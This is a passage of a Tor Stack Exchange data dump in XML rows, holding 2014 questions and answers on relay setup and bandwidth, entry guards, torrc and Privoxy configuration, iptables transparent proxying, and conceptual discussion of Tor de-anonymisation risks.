negotiation using an unsupported cipher in order to verify the host is a Tor node?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="88" LastEditDate="2014-10-05T22:41:55.437" LastActivityDate="2015-03-10T08:55:28.773" Title="Tor TLS cipher suite negotiation and fingerprint defense" Tags="|pluggable-transports|fingerprinting|tls|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4289" PostTypeId="1" AcceptedAnswerId="4301" CreationDate="2014-10-05T02:22:22.130" Score="2" ViewCount="318" Body="&lt;p&gt;How long does it take for an exit-node to reach maturity?&lt;br/&gt;&#xA;That is, if I create an exit node and leave it running, how long will it take for the exit to be fully utilised, provided nothing goes wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally what does it take to get the &quot;Exit&quot; flag and what does this flag actually do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is inspired by &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;a blog post&lt;/a&gt; that discusses the life cycle of a regular, &lt;strong&gt;non-exit&lt;/strong&gt; relay.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-08T17:19:39.817" Title="Exit-node maturity" Tags="|relays|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4290" PostTypeId="2" ParentId="4243" CreationDate="2014-10-05T12:01:15.830" Score="0" Body="&lt;p&gt;I too have the WR703N and if you actually read the grugq's specs it is recommended as the ideal device as long as it has the Ram and Flash mod to double them. You can buy these moded versions on ebay for around £30. Additionally you can still use the stock WR703N as long as you use an external USB stick to act as extral storage with the firmware libraries rooted to the usb stick. Admittedly the grugq does say that the stock version may experience some peformance issues compared to the modified WR703N. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the modified version and am having the same problems as the OP. Did you manage to solve them? Put simply I have three listed interfaces. 1) Admin (Eth0) 2) Internet (Eth1) 3) Tor (Wlan). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would ultimately like the option of being able to switch my access from wireless to ethernet in different situations but in this instance would be grateful for any Tor connection at all. I have scanned using wifi in the admin interface and connected to my home wifi network. I have connected my computer by ethernet to the wr703n. The Admin interface seems always connected by default. I try turning my computer wifi off connecting to the wr703 by ethernet with both static and then dhcp but still no Tor connection (or internet connection through the device). I am convinced that altering the interfaces is the answer but could really do with some help. Has anyone out there managed to get any further forward (or did you find anyone who did)?&lt;/p&gt;&#xA;" OwnerUserId="3791" LastEditorUserId="923" LastEditDate="2014-11-27T03:50:16.217" LastActivityDate="2014-11-27T03:50:16.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4291" PostTypeId="2" ParentId="46" CreationDate="2014-10-06T00:26:49.490" Score="3" Body="&lt;p&gt;You could use a virtual machine  if you don't have an extra computer for Tails and install Whonix on it. Whonix has a gateway VM which works like a router and a workstation which connects to it. All traffic goes through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2014-10-06T00:26:49.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4293" PostTypeId="2" ParentId="4277" CreationDate="2014-10-07T05:10:21.663" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/9EA317EECA56BDF30CAEB208A253FB456EDAB1A0&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; reports that 96.47.226.20 is bolobolo1, and lists its country as the United States. However, &lt;a href=&quot;http://whatismyipaddress.com/ip/96.47.226.20&quot; rel=&quot;nofollow&quot;&gt;What Is My IP Address?&lt;/a&gt; lists its country as &quot;Anonymous Proxy&quot;. So does MaxMind. PHS probably relies on MaxMind, and definately not on Atlas.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-10-07T05:10:21.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4294" PostTypeId="1" CreationDate="2014-10-07T06:06:09.120" Score="1" ViewCount="2408" Body="&lt;p&gt;Would you guys kindly show me your TBB's HTTP headers?&#xA;I'm using Privoxy, a Tor (SOCKS5) HTTP proxy software.&#xA;I must use it to use some of software that doesn't support SOCKS protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to configure Privoxy to speak the same way TBB do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please show me your TBB's:&#xA;All of &lt;code&gt;HTTP_*&lt;/code&gt; data, such as &lt;code&gt;HTTP_USER_AGENT&lt;/code&gt;, &lt;code&gt;HTTP_ACCEPT_LANGUAGE&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastEditorUserId="-1" LastEditDate="2014-10-11T07:53:46.987" LastActivityDate="2014-12-10T09:07:50.087" Title="Tor Browser Bundle default HTTP headers" Tags="|tor-browser-bundle|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4296" PostTypeId="1" CreationDate="2014-10-08T01:43:10.270" Score="3" ViewCount="253" Body="&lt;p&gt;I have 1.25 MBps (10 Mbps) of usable bandwidth in both directions. Yet my relay constantly hovers around 100 KBps of advertised bandwidth. It's currently been up for 6 days and 4 hours (after a long hibernation. It previously ran for longer with short breaks, but with identical speed issues). It's hosted on a computer with a i5, so I'm certain it's not a CPU bottleneck. I also have Vidalia's bandwidth set at 1000 KBps bandwidth with 1250 KBps peak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do to make my relay more fully utilize the available bandwidth? Or should I give up and run a bridge instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node's fingerprint is 98EF2C42194EFE540D30AD10C5071B2ED4BBA4C8 .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers - Some Tor Dude.&lt;/p&gt;&#xA;" OwnerUserId="3807" LastActivityDate="2014-10-09T05:12:42.647" Title="Why is my relay using nowhere near the bandwidth that's available to it?" Tags="|relays|bandwidth|speed|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4297" PostTypeId="1" CreationDate="2014-10-08T04:12:36.440" Score="1" ViewCount="676" Body="&lt;p&gt;Every time I try to start Vidalia, I get nothing but cold, hard, FAIL.  Terminal output is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REDACTED@REDACTED:~$ vidalia&#xA;&#xA;(process:4854): GConf-WARNING **: Client failed to connect to the D-BUS daemon:&#xA;An AppArmor policy prevents this sender from sending this message to this recipient, 0 matched rules; type=&quot;method_call&quot;, sender=&quot;(null)&quot; (inactive) interface=&quot;org.freedesktop.DBus&quot; member=&quot;Hello&quot; error name=&quot;(unset)&quot; requested_reply=&quot;0&quot; destination=&quot;org.freedesktop.DBus&quot; (bus)&#xA;&#xA;(&amp;lt;unknown&amp;gt;:4854): GLib-GIO-ERROR **: No GSettings schemas are installed on the system&#xA;Trace/breakpoint trap (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3202" LastActivityDate="2016-06-01T19:54:08.357" Title="Vidalia fails to start" Tags="|vidalia|linux|ubuntu|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4298" PostTypeId="2" ParentId="3363" CreationDate="2014-10-08T11:49:52.853" Score="1" Body="&lt;p&gt;See, there is such options in config file of Tor, &lt;code&gt;/etc/tor/torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;SocksListenAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could find the same in your &lt;code&gt;torrc&lt;/code&gt;, uncomment it and launch your browser with &quot;Proxy settings&quot;,  &lt;code&gt;proxy type: socks5&lt;/code&gt;, &lt;code&gt;address: 127.0.0.1&lt;/code&gt;, &lt;code&gt;port 9050&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3810" LastActivityDate="2014-10-08T11:49:52.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4299" PostTypeId="2" ParentId="46" CreationDate="2014-10-08T11:59:41.423" Score="2" Body="&lt;p&gt;This is very old thread discussed everywhere. The best solution for you, is to read the official FAQ, so called &quot;Wiki&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorifyHOWTO/IsolatingProxy&quot; rel=&quot;nofollow&quot;&gt;Tor Project Wiki page on IsolatingProxy&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look, there are &lt;strong&gt;two ways&lt;/strong&gt;: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Isolating Proxy&lt;/li&gt;&#xA;&lt;li&gt;Transparent Proxy&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &quot;Transparent Proxy's&quot; way is the oldest one, there are configurations for all type of OS: Windows, Linux, BSD, MacOS, etc. There are many good and precise information for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is the wrong way. Part of UDP traffic would leak from the transparent proxy. Once folks have discovered this, has appear the second way, called &quot;Isolating Proxy&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could find that this just a hardened Transparent Proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, both, Transparent and Isolated proxies, advice to use separate machine for your Tor box. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This looks like:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Your Network&lt;/code&gt; --&gt; &lt;code&gt;Tor-Box(Isolated proxy)&lt;/code&gt; --&gt; &lt;code&gt;Internet&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="83" LastEditDate="2014-10-08T20:36:20.660" LastActivityDate="2014-10-08T20:36:20.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4300" PostTypeId="1" CreationDate="2014-10-08T15:01:45.947" Score="1" ViewCount="260" Body="&lt;p&gt;Im trying to figure out, what the &lt;strong&gt;probability for choosing a malicious entry-guard, depended on the amount of Relays and the fraction of malicious Relays&lt;/strong&gt;, is. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;a href=&quot;https://www.torproject.org/docs/faq#EntryGuards&quot; rel=&quot;nofollow&quot;&gt;tor-faq&lt;/a&gt; it says for using NO Entry-Guards:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Suppose the attacker controls, or can observe, &lt;em&gt;C&lt;/em&gt; relays. Suppose there are &lt;em&gt;N&lt;/em&gt; relays total. If you select new entry and exit relays each time you use the network, the attacker will be able to correlate all traffic you send with probability &lt;em&gt;(c/n)²&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So w/o Entry-Guards its pretty easy: A OP has the probability for choosing a malicious Entry-Relay of &lt;em&gt;(c/n)&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for using Entry-Guards it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;(...) Thus, the user has some chance (on the order of &lt;em&gt;(n-c)/n)&lt;/em&gt; of avoiding profiling, whereas she had none before.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note that this probability for using Entry-Guards is for NOT choosing an malicious Entry-Relay as a Guard. But this cited probability is not making that much scenes to me. Can somebody explain to me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, to give it a general touch again: Whats the probability for choosing a malicious Relay with the use of Entry-Guards depended on the amount of Relays (n) and the fraction of malicious Relays (c) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Disclaimer&lt;/strong&gt;: I know there is a lot of literature about that topic. Especially the paper &quot;&lt;em&gt;Changing of the Guards: A Framework for Understanding and Improving Entry Guard Selection in Tor&lt;/em&gt;&quot; is good for understanding up- and downsides of guard-nodes (&lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow&quot;&gt;This Tor-Blog&lt;/a&gt; article is a good place to start, too! And for the start of all this you need to review the paper '&lt;em&gt;Locating Hidden Servers&lt;/em&gt;'). &#xA;But all the statistics in the literature I found about it, were differing between variable guard-parameters and what I am looking for is the difference between using and not using guards. I know that there won't be a easy answer, because this differs between just named guard-parameters. But I guess and hope that we can abstract from them.&lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="5191" LastEditDate="2014-10-10T11:57:23.873" LastActivityDate="2014-10-10T11:57:23.873" Title="Probability for using a malicious entry-relay with and without Entry-Guards?" Tags="|anonymity|guard|guard-node|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4301" PostTypeId="2" ParentId="4289" CreationDate="2014-10-08T16:23:35.630" Score="2" Body="&lt;p&gt;As far as the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/HEAD:/dir-spec.txt#l1845&quot; rel=&quot;nofollow&quot;&gt;Tor-Spec&lt;/a&gt; says, a Relay&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is called an 'Exit' iff it allows exits to at least two of the ports 80, 443, and 6667 and allows exits to at least one /8 address space.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, from that point, you just need to configure a Relay as given here and let it propagate its state. Further on, I can cite an &lt;a href=&quot;https://testbit.eu/tor-exit-node-less-week/&quot; rel=&quot;nofollow&quot;&gt;article about the experiences setting up an exit-relay&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Traffic came in slowly at first, but after 1 or 2 days, the node’s presence had propagated through the net and it started to max out CPU and bandwidth limits as configured.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, that's all. I guess it's like that, because there are not much Exit-Relays, so if there is a new one, we just use them, not waiting for them to approve its potential. &lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="5191" LastEditDate="2014-10-08T17:19:39.817" LastActivityDate="2014-10-08T17:19:39.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4302" PostTypeId="2" ParentId="3599" CreationDate="2014-10-08T16:50:58.367" Score="2" Body="&lt;p&gt;First of all: As far as i know, if you do not compromise the Entry-Relay (Guard), you can &lt;em&gt;not&lt;/em&gt; locate the client. So being said, the third case does not result in client de-anonymization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the other two cases, in which you have compromised the entry-relay, you will be able to locate the client.&#xA;To be a little more specific:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Before&lt;/em&gt; there were Entry-Guard and as far as I can remember the paper &lt;em&gt;&lt;a href=&quot;http://www.onion-router.net/Publications/locating-hidden-servers.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Locating Hidden Servers&lt;/a&gt;&lt;/em&gt; I can tell, that you (as an adversary) don't even need to compromise two relays to locate (de-anonymize) the client or an Hidden Service. You just need ONE. That was, because you can figure out if you are the entry-node. If you figure, you found the location of the client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Now&lt;/em&gt;, with using Entry-Guards, its a little different. You can still notice, if you are the entry-guard, that you have de-anonymized the client. But you can't get there that easy. What you can do, is getting to know the guard. For that you need to know or be the middle-relay, and if you are't there, you will have to start with the exit-relay. &#xA;If you are &lt;em&gt;not&lt;/em&gt; one of the relays on the circuit, but some powerful malicious attacker, you now just need to get the information from the links between the relays and already can figure which relay is being the entry relay. From there you'll find the client as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot from what I just wrote (out of memory) is being explained somewhere &lt;a href=&quot;https://blog.torproject.org/blog/improving-tors-anonymity-changing-guard-parameters&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Hope it helped.&lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="7324" LastEditDate="2019-12-23T07:21:42.037" LastActivityDate="2019-12-23T07:21:42.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4303" PostTypeId="2" ParentId="3483" CreationDate="2014-10-08T17:12:41.317" Score="1" Body="&lt;p&gt;The &lt;em&gt;Rendezvous point identity ID&lt;/em&gt; is, as far as I can tell, just the Fingerprint of the Relay, being used as the Rendezvous point. These digests are hexed and use '$' as its prefix. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ID of the Public Key is being explained in &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=rend-spec.txt&quot; rel=&quot;nofollow&quot;&gt;specification&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PK_ID is the hash of Bob's public key or the service key, depending on the&#xA;     hidden service descriptor version. In case of a v0 descriptor, Alice's OP&#xA;     uses Bob's public key. If Alice has downloaded a v2 descriptor, she uses&#xA;     the contained public key (&quot;service-key&quot;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2014-10-08T17:12:41.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4304" PostTypeId="2" ParentId="848" CreationDate="2014-10-08T17:36:05.010" Score="1" Body="&lt;p&gt;Just a quick answer without diving into the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Rendezvous Point will not be able to notice which Relay / Client is using it. It will only get the rendezvous cookie and, as always, knows the last Relay in the circuit which is connecting to it.&#xA;So, as far as I can tell, you won't be able to find this sha256.onion domain.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more detailed answer and some sources will properly follow in the next days...&lt;/p&gt;&#xA;" OwnerUserId="5191" LastEditorUserId="88" LastEditDate="2014-10-08T20:32:57.623" LastActivityDate="2014-10-08T20:32:57.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4305" PostTypeId="2" ParentId="4296" CreationDate="2014-10-09T05:12:42.647" Score="2" Body="&lt;p&gt;It could be that a firewall is giving you some troubles.&lt;br/&gt;&#xA;It could also be that you're using the wrong config file (I only mention this because it happened to me once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you running an exit node or just a regular relay?&lt;br/&gt;&#xA;If you're running a regular relay then a slow increase in bandwidth could just be part of the &lt;a href=&quot;https://blog.torproject.org/blog/lifecycle-of-a-new-relay&quot; rel=&quot;nofollow&quot;&gt;relay's natural lifecycle&lt;/a&gt;.&lt;br/&gt;&#xA;If you're running an exit relay then &lt;a href=&quot;https://tor.stackexchange.com/questions/4289/exit-node-maturity&quot;&gt;this is more unusual&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-09T05:12:42.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4306" PostTypeId="2" ParentId="4276" CreationDate="2014-10-09T05:27:54.553" Score="0" Body="&lt;p&gt;That's not a huge amount of traffic and 7 days is a long time, so I doubt there's anything to worry about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's likely that your tor process sent and received those bytes downloading network status documents such as the Tor consensus.&#xA;Additionally it would have sent and received a small amount of traffic because Tor hidden services regularly publish what's called hidden service descriptors.&#xA;These are files that are required by clients of your hidden service to connect to your hidden service.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-09T05:27:54.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4307" PostTypeId="2" ParentId="3689" CreationDate="2014-10-09T05:42:16.890" Score="2" Body="&lt;p&gt;This may seem strange but I believe doing that actually makes the system stronger.&#xA;Using the same path always prevents an attack called a predecessor attack.&#xA;It also makes end to end correlation attacks more difficult as it only gives the adversary one shot at being selected by the client to be in their path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &quot;it's actually more secure&quot; line of thought is the reason guard nodes exist.&#xA;If you don't know guard nodes are the first hop in your circuit.&#xA;When a client enters the network it selects a set of relays to be its guard nodes. A client's guard nodes stay the same for as long as possible.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-10-09T05:42:16.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4308" PostTypeId="2" ParentId="4276" CreationDate="2014-10-09T10:01:20.817" Score="1" Body="&lt;p&gt;These log entries are just for notification (Loglevel &lt;code&gt;notice&lt;/code&gt;) and provide general information. Tor writes these lines also when it is configured as client. They just tell you that Tor lives and transmitted some data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want these log lines go to your &lt;code&gt;torrc&lt;/code&gt; and look for lines starting with &lt;code&gt;Log notice&lt;/code&gt;. Comment them out and restart your Tor process. Now Tor doesn't log anymore. If you're using Debian make sure to also look into &lt;code&gt;/usr/share/tor/tor-service-defaults-torrc&lt;/code&gt;. You'll find some default settings there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some answers about log entries that also might help:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/168/88&quot;&gt;What is the “TLS write overhead” percentage reported in Tor log entries?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Discussion about cell fullness in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7743&quot; rel=&quot;nofollow&quot;&gt;#7743&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2014-10-09T12:26:31.667" LastActivityDate="2014-10-09T12:26:31.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4309" PostTypeId="2" ParentId="4035" CreationDate="2014-10-09T13:23:19.797" Score="3" Body="&lt;p&gt;I have solved this question. &lt;a href=&quot;https://www.frozentux.net/iptables-tutorial/iptables-tutorial.html&quot; rel=&quot;nofollow&quot;&gt;Source&lt;/a&gt;; an extensive &lt;code&gt;iptables&lt;/code&gt; manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;REDIRECT&lt;/code&gt; target puts the stream into the &lt;code&gt;conntrack&lt;/code&gt; table, and &lt;strong&gt;rewrites the destination host to that of the machine itself&lt;/strong&gt;. That was one thing I was missing. &lt;strong&gt;This circumvents the firewall&lt;/strong&gt;; so even if normally no packages would reach the machine at the defined port, the packet/stream matched by this rule will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule &lt;code&gt;iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 9053&lt;/code&gt; matches all DNS requests, no matter if they were destined to this machine or not. It routes them to the tor daemon, which answers them &lt;strong&gt;with the real DNS record&lt;/strong&gt; (or, for .onion domains, it maps them to an arbitrary IP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other rule; &lt;code&gt;iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040&lt;/code&gt; catches all &lt;code&gt;SYN&lt;/code&gt; packets of forwarding TCP traffic, then REDIRECTs them into the transparent proxy port of the tor daemon. Then the daemon - I only suspect, but really there isn't another way I know of - &lt;strong&gt;checks the &lt;code&gt;conntrack&lt;/code&gt; table&lt;/strong&gt;, so it knows where this particular stream was headed and makes the connection. The rest of the packages are in the &lt;code&gt;ESTABLISHED&lt;/code&gt; state, so they follow the route which has been built. This was the other thing I was missing.&lt;/p&gt;&#xA;" OwnerUserId="3491" LastActivityDate="2014-10-09T13:23:19.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4310" PostTypeId="2" ParentId="3689" CreationDate="2014-10-09T13:53:10.890" Score="0" Body="&lt;p&gt;This makes your entire traffic highly fingerprintable as compared to a standard random path. If your connections always used A, B, and C nodes, it is statistically unlikely that many other people are consistently using that same path, therefore it's very easy to correlate your traffic to your originating IP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An adversary exploiting this would need to have purview of each step in the connection to find out that you're using this static path. But once its been found, they would be able to make a simple 1:1 correlation of the traffic by watching when you access the Tor network, and then watch your exit node that never changes. (As opposed to you taking a variety of paths and choosing a variety of exit nodes.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While the idea of guard nodes (static entry nodes) offers more protection, making the entire route static would reduce your anonomity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of traffic correlation attacks you've in some ways reduced Tor down to a single hop proxy. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2014-10-09T13:53:10.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4311" PostTypeId="1" CreationDate="2014-10-09T15:36:54.367" Score="1" ViewCount="1082" Body="&lt;p&gt;i'm new to Tor, i read the infos about encription between me and the entry point of network, the encryption inside the network and the unsafe connetion out of network to the end point.&#xA;My question is, if i download a file from the end point, a file web hoster or even a simple website, the download comes to me through the tor network and then log on the remote server will show the ip of tor network or the download will be direct to me and then the log will show them my ip?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it's the first case, but better to be safe.&lt;/p&gt;&#xA;" OwnerUserId="3819" LastActivityDate="2014-10-10T09:03:35.520" Title="Downloading from a file sharing website it's safe?" Tags="|anonymity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4312" PostTypeId="2" ParentId="4311" CreationDate="2014-10-09T20:33:37.717" Score="1" Body="&lt;p&gt;Downloading is (or at least it should be) safe, so it is the first case. BUT you should be careful when opening downloaded files, they can de-anonimize you (especially pdf &amp;amp; .txt files). The best way to be sure would be to disconnect before opening a file. &lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-10-09T20:33:37.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4313" PostTypeId="2" ParentId="4311" CreationDate="2014-10-10T09:03:35.520" Score="0" Body="&lt;p&gt;Tor will anonymize your download. The IP-address which is known by the Server you're downloading from is the Exit-Point's address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But be careful: Beside a lot of typical pitfalls (mentioned above), which could de-anonimize you, using a typical Browser for downloading could expose you by Browser-Fingerprinting . Using the Tor-Browser, Tor-Button or, as a linux user, tools like wget can defend your anonymity. More self-defence in reference to Browser-Fingerprinting is covered &lt;a href=&quot;https://panopticlick.eff.org/self-defense.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="5191" LastActivityDate="2014-10-10T09:03:35.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4314" PostTypeId="1" AcceptedAnswerId="4327" CreationDate="2014-10-10T10:35:46.100" Score="2" ViewCount="3714" Body="&lt;p&gt;Does Tor affect ping for online games? The servers to which I usually connect are in Europe. Is there a way around?&lt;/p&gt;&#xA;" OwnerUserId="3826" LastEditorUserId="14997" LastEditDate="2019-02-21T22:33:45.380" LastActivityDate="2019-02-21T22:33:45.380" Title="Does Tor affect ping for online games?" Tags="|performance|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4315" PostTypeId="2" ParentId="4294" CreationDate="2014-10-10T10:44:46.310" Score="0" Body="&lt;p&gt;In the case: Tor+ Privoxy + Iceweasel(Browser)&#xA;actually the browser doesn't matter to configure privoxy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy in the privoxy's file &quot;user.action&quot; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{+hide-accept-language{en-ca} \&#xA;  +hide-user-agent{Mozilla/5.0 (X11; U; OpenBSD i386; en-CA; rv:1.8.0.4) Gecko/20060628 Firefox/1.5.0.4} \&lt;/p&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/&lt;/p&gt;&#xA;" OwnerUserId="3825" LastActivityDate="2014-10-10T10:44:46.310" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4316" PostTypeId="2" ParentId="4314" CreationDate="2014-10-10T11:17:17.293" Score="2" Body="&lt;p&gt;Your latency would go up to unplayable levels. Its a bad idea to play games with Tor. A VPN that connects from a european country would be a better choice for you.&lt;/p&gt;&#xA;" OwnerDisplayName="user3349" LastActivityDate="2014-10-10T11:17:17.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
